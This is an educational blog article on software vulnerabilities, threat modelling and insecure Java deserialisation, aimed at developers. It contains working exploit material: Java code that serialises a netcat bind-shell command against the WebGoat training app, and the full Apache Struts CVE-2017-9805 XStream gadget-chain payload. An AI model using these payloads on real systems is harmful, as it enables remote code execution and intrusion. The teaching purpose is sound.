Software Vulnerabilities and Business Risk

For developers working with systems exposed to the internet, it’s difficult to avoid the influence that information security has on day to day work. Perhaps a recent penetration test by a third party has highlighted vulnerabilities that need addressing, or maybe the system has already suffered a security breach. There might be a requirement to demonstrate that the system is compliant with a particular security standard. Its also possible that the development team belongs to an enlightened organisation that understands why their software products need to be secure, and have measures in place within their development process to prevent and detect security vulnerabilities.

Conversely, if a system is designed to sit in apparent safety behind a firewall, or on a separate internal network segment, or has no direct access to sensitive data, it’s not straightforward from a developer’s point of view to see how – or why – a system might be attacked.

Table of Contents

Background

Failure to understand how one vulnerable system can be commandeered to act as a link in an attack which chains multiple compromised systems together to achieve the attackers ultimate objective can lead to software security considerations being given low or even zero priority during development.

Until recently, responsibility for information security tended to fall squarely within the remit of systems and infrastructure engineers. A common misconception is that the firewalls, endpoint security, intrusion prevention and detection controls, etc in place absolve developers of any need to think about security. But analysis of data breaches in recent years shows that attackers are now more than capable of exploiting software system vulnerabilities to bypass security controls.

As a result, software developers now have a responsibility to take security seriously. But for those more used to story driven development, delivering functionality which satisfies user requirements on time and on budget, it can be very challenging to switch mindsets and start thinking like an attacker.

Defence In Depth

Security breaches can involve the compromise of several hosts across an internal network, with some hosts merely acting as an intermediate stepping stone in the chain of compromise. Just because an application doesn’t directly access high value information assets, it doesn’t mean that the underlying host can’t be used as a means of gaining access to the hosts that do.

Maybe the information that the application manipulates isn’t considered a likely target, but that’s of little consequence if the software introduces vulnerabilities which, for example, allow the host file system to be used as a staging area for the exfiltration of sensitive data exfiltration, or permits arbitrary script execution which allows system account password hashes to be harvested remotely and cracked offline.

Rather than assuming that infrastructure security controls will deal with every attack, taking a defence-in-depth approach not only protects local information assets but also plays a part in protecting the wider system – hindering, delaying and maybe even halting an attacker who is trying to move laterally through a network to reach the high value targets.

Over-reliance on perimeter, infrastructure based security controls can expedite an attacker’s lateral movement through a network.

Context is king

It’s important to view software system vulnerabilities in the context of the environment in which the system is deployed. Ultimately, the severity of a given software vulnerability should be assessed according to the risk it represents to the business, and this can vary depending on a number of factor environmental and temporal factors. A service which is vulnerable because it has a weak user authentication mechanism (for example) represents a high level risk if it is publicly accessible directly from the internet, but a lower level of risk if it is deployed on an isolated network accessible via a terminal located behind a locked door.

Understanding how a software system interacts with its host environment, and analysing all the different ways in which those interactions could be compromised – a process commonly known as Threat Modelling – is a crucial part of this process.

Threat Modelling

Threat modelling is a type of risk assessment methodology, similar in concept to techniques used in other engineering disciplines such as Failure Mode and Effect Criticality Analysis (FMECA).

Threat modelling involves activities which include:

  • Identifying and classifying information assets according to sensitivity and value.
  • Determining which information assets are potentially exposed by a software vulnerability.
  • Considering what types of threat the system is likely to face in service.
  • Assessing the likelihood of each type of threat being able to exploit a vulnerability.
  • Assessing the impact on the business of an information asset being breached by a threat successfully exploiting a vulnerability.

This process allows an organisation to categorise known software vulnerabilities in terms of the business risk that they actually represent in the target deployment environment. Armed with this knowledge, an organisation can then rank vulnerabilities by criticality and select an appropriate order and method of treatment to reduce overall business risk to an acceptable level.

Risk

So what do we mean by risk ?

  • IT organisations deal with information – i.e. facts and figures which have meaning in a specific context.
  • Information within an organisation is typically viewed as a collection of assets, where each asset has a value which reflects its importance to the organisation.
  • This value can be derived from many factors, but is generally proportional to the seriousness of sustaining a degradation to one of three properties used to express the security state an information asset, namely: Confidentiality, Integrity and Availability (or “CIA“).
  • These properties can be degraded through a variety of possible scenarios involving potential threats, each of which needs to be assessed to quantify its contribution to the potential business risk to the organisation.
  • Information systems can contain flaws, or vulnerabilities, which can adversely affect the CIA of the information assets it manipulates.
  • The level of risk is assessed by considering how likely it is that a threat will exploit a vulnerability and what the impact could be given the value of affected information asset.
  • Vulnerabilities present in software systems expose the organisation to risk in a number of ways, including:
    • Financial loss
    • Operational capacity reduction
    • Legal or regulatory penalties
    • Reputational damage
    • Harm or damage to persons and property.

How software vulnerabilities contribute to risk

There are institutions within the information security community that collate and distribute guidance aimed at improving information security.

One of these is the Open Web Application Security Project (OWASP), which provides – amongst many other things – a ranking of and remediation guidance for the top 10 most critical web application security risks.

To understand how software vulnerabilities contribute to business risk, it’s worth picking one item from the 2017 version of the OWASP top 10 list and using it to outline a simple example, to help give some context to what can seem like quite an abstract concept. I’ve chosen “A8:2017 – Insecure Deserialisation” in this instance*. There are countless other possible examples that would also fit here, but I’ve chosen this one because it seems easier to attribute the link between cause and effect directly to coding flaws, compared to some of the other risks types identified by OWASP.

*The 2021 version of the OWASP Top 10 which was in peer review at the time of writing proposes merging Insecure Deserialisation into a new more general category entitled “A08:2021-Software and Data Integrity Failures”.

Insecure Deserialisation

Serialisation has a multitude of uses – one of these is to facilitate the communication of objects in distributed architectures, such as CORBA, RMI and DCOM.

The ability to persist the state of an object so that it can be stored, or transmitted across a network and reconstructed, allows separate components of a distributed application to interact using common objects directly, without the need to encode and decode to and from other state representations and communications protocols, and regardless of any differences in host platform.

Serialisation is an approach that’s also used when implementing web APIs, microservices, and by client-side MVC web frameworks such as AngularJS and Ember.

Unsafe or insecure deserialisation arises when the serialised data received by a subsystem is trusted without prejudice. If the data can be modified by, or originates from, an intermediate party and the contents are not sanitised by the recipient to eliminate any malicious payloads, then a vulnerability is introduced.

Java serialisation

The Java platform contains the Serializable interface – classes which implement it must provide a number of methods, one of which (readObject) accepts a serialised instance of itself in the form of a ObjectInputStream object.

This method deserialises the passed-in serialised object, obtaining from it attribute values which are used to populate a new empty instance of the class, effectively re-creating the original object in memory. This object can then be interacted with in the same way as objects generated in the “usual” way by the JVM at runtime from compiled bytecode.

This mechanism might be used within a distributed component architecture, allowing disparate subsystems using serialised objects to communicate over a network. It could be viewed as painless way of passing commands from one subsystem to a remote, subordinate subsystem without having to worry about conversion between communications protocols.

However, this immediately introduces an unsafe deserialisation vulnerability – one which may seem negligible in a trusted environment, but which can lead to significant risk if the serialised data passed in to the system can be accessed (or even originated) by attackers.

Unsafe Java deserialisation using WebGoat as an example

To try and help demonstrate this concept, I’ve used WebGoat – a deliberately insecure, open source Java web application developed by OWASP to act as a training aid for developers and security technologists.

WebGoat running in an Azure container instance

Explanation of the vulnerability

The WebGoat application contains a Java class VulnerableTaskHolder which implements the Java Serializable interface. Objects of this class have attributes which have values assigned to them before serialisation takes place. The object is then serialised, and transmitted to the remote subsystem, where it is received and deserialised causing its overidden readObject method to be executed. In this particular example, the readObject method expects one of its attributes to be assigned a String value representing a system command, which it then executes within a new sub-process. In other the system makes unsafe assumptions about the security of its host environment. It assumes all input will be benign and makes no attempt to sanitise the data it receives before deserialising it and executing the contents.

Exploitation

The vulnerable method is exposed to the internet by an API endpoint. This is normally called via a form on the web client UI provided with the WebGoat application. In this example however, we’ll interact with the endpoint directly via an interception proxy (Portswigger Burp Suite):

Request to endpoint captured in Burp Suite

A scan against the target reveals an open port; if the host OS happens to have default components installed such as Netcat, we might be able to start a bind shell which we can interact with remotely:

Finding an open port on the target for the shell

Exploitation involves having knowledge of the structure of the vulnerable Java class. In this scenario, WebGoat is open source, so the class structure is easy to obtain, but in a real-world scenario with a closed source target, an attacker might be able to find this out for example via an exposed source code repository, or by reverse engineering the application’s Java byte code.

Armed with this knowledge, we can write a small program which creates an instance of the vulnerable class, populates it with a malicious system command (line 34) and then serialises it:

package org.dummy.insecure.framework;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.time.LocalDateTime;
import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.util.Base64;


public class VulnerableTaskHolder implements Serializable
{
    private static final long serialVersionUID = 2;

    private String taskName;
    private String taskAction;
    private LocalDateTime requestedExecutionTime;

    public VulnerableTaskHolder(String taskName, String taskAction)
    {
        super();
        this.taskName = taskName;
        this.taskAction = taskAction;
        // cater for BST time delta on the target server
        this.requestedExecutionTime = LocalDateTime.now().minusHours(1);
    }

    public static void main(String[] args)
    {
        VulnerableTaskHolder go = new VulnerableTaskHolder
            ("bind shell", "nc -nlvp 8088 -e /bin/bash");
        try
        {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(bos);
            oos.writeObject(go);
            oos.flush();
            oos.close();
            System.out.println(Base64.getEncoder()
                .encodeToString(bos.toByteArray()));
        }
        catch (IOException ioe)
        {
            System.out.println(ioe.getLocalizedMessage());
        }
    }
}
Generating the serialised data

We can then inject this serialised data into the captured HTTP request as a POST body parameter within the interception proxy, and transmit it to the endpoint, where the application will deserialise and execute it. Note that the package must match the package of the class as it is used in the target application. Note: We also need to embed the current system time into the object – this is a requirement peculiar to WebGoat (introduced presumably to thwart attempts to solve the associated training exercise using pre-canned solutions) :.

Captured request modified to include serialised payload

If we now start a Netcat instance on our attacking host, using the IP address of the target host and the port on which the payload is listening, we should be able to establish a bind shell which will accept commands, execute them and return the subsequent output:

Using the bind shell on the target to execute system commands

We have a low-privilege shell executing in the context of the WebGoat user, which only allows limited interaction with the target host. The next step would be to attempt privilege escalation to upgrade the shell to one with system privileges, which is beyond the scope of this post.

It does demonstrate however that a simple vulnerability can give an initial foothold from which a more sophisticated attack could be launched. Compromising this host may not provide direct access to sensitive or valuable data itself, but it could form part of a multi-stage attack, for example by being used to host an SSH tunnel between internal network segments to aid exploit upload and/or data exfiltration, as a platform for creating new system user accounts, or for launching credential harvesting phishing attacks against other internal users.

If this this vulnerability was present in a production system, and threat modelling indicated that (a) the likelihood of exploitation was high, and (b) a high value information asset would be negatively impacted, this would expose the organisation to a very high level of risk, and as such it would be given a high priority for mitigation.

Deserialisation Vulnerabilities In The Wild

The scenario described above is obviously a highly contrived, simplified example constructed to help illustrate a concept.

Real-world deserialisation vulnerabilities are usually much more complicated to exploit, typically involving a cascading sequence of unsafe deserialisation operations involving many classes (also known as a “Gadget Chain”) which ultimately leads to the actual compromise.

However, deserialisation vulnerabilities of this nature do occur in the wild – one such example is CVE-2017-9805, a flaw within the REST Plugin in the Apache Struts MVC Java framework which remained undiscovered for nine years until it was found by security researcher Man Yue Mo in July 2017 and which was initially blamed in part for the Equifax data breach in September 2017.

CVE-2017-9805

The vulnerable class within the plugin deserialises data passed into it in XML format without performing any sanitisation of its contents. The result is that a suitably crafted payload can be used to cause remote code execution on the host machine, in a similar way to that demonstrated above on the WebGoat application, the difference here being that the payload needs to be structured as XML data before serialisation.

Exploiting the vulnerability involves sending an HTTP POST request to the target host, with the request body data formatted as shown in the snippet below, with the [command] placeholder on line 17 edited to contain the system command to be executed on deserialisation:

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/bin/sh</string><string>-c</string><string> [command] </string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>


A pre/post fix analysis of the vulnerable Struts REST plugin class XStreamHandler (performed by Hardik Shah of McAfee Labs) shows that pre-fix, the methods responsible for serialising to and from XML and Java objects: fromObject and toObject, did so by creating instances of the XStream XML parser class with default invocation permissions. This meant that there was no filtering being performed on the contents of the data being deserialised. Post-fix, the methods now expect an extra parameter of type ActionInvocation. This is used to set the permissions on the XStream XML parser – effectively applying a whitelist filter to the deserialised data content before it is used to construct a Java object:

Summary

I think the following quote from the Apache Struts development team in response to CVE-2017-9805 epitomises the view outlined at the beginning of this post – that in the drive to deliver functionality, it is all too easy to introduce vulnerabilities unwittingly, unless security requirements are given the same level of importance as functional and other non-functional requirements from the outset:

Regarding the assertion that especially CVE-2017-9805 is a nine year old security flaw, one has to understand that there is a huge difference between detecting a flaw after nine years and knowing about a flaw for several years. If the latter was the case, the team would have had a hard time to provide a good answer why they did not fix this earlier. But this was actually not the case here – we were notified just recently on how a certain piece of code can be misused, and we fixed this ASAP. What we saw here is common software engineering business – people write code for achieving a desired function, but may not be aware of undesired side-effects. Once this awareness is reached, we as well as hopefully all other library and framework maintainers put high efforts into removing the side-effects as soon as possible.

https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax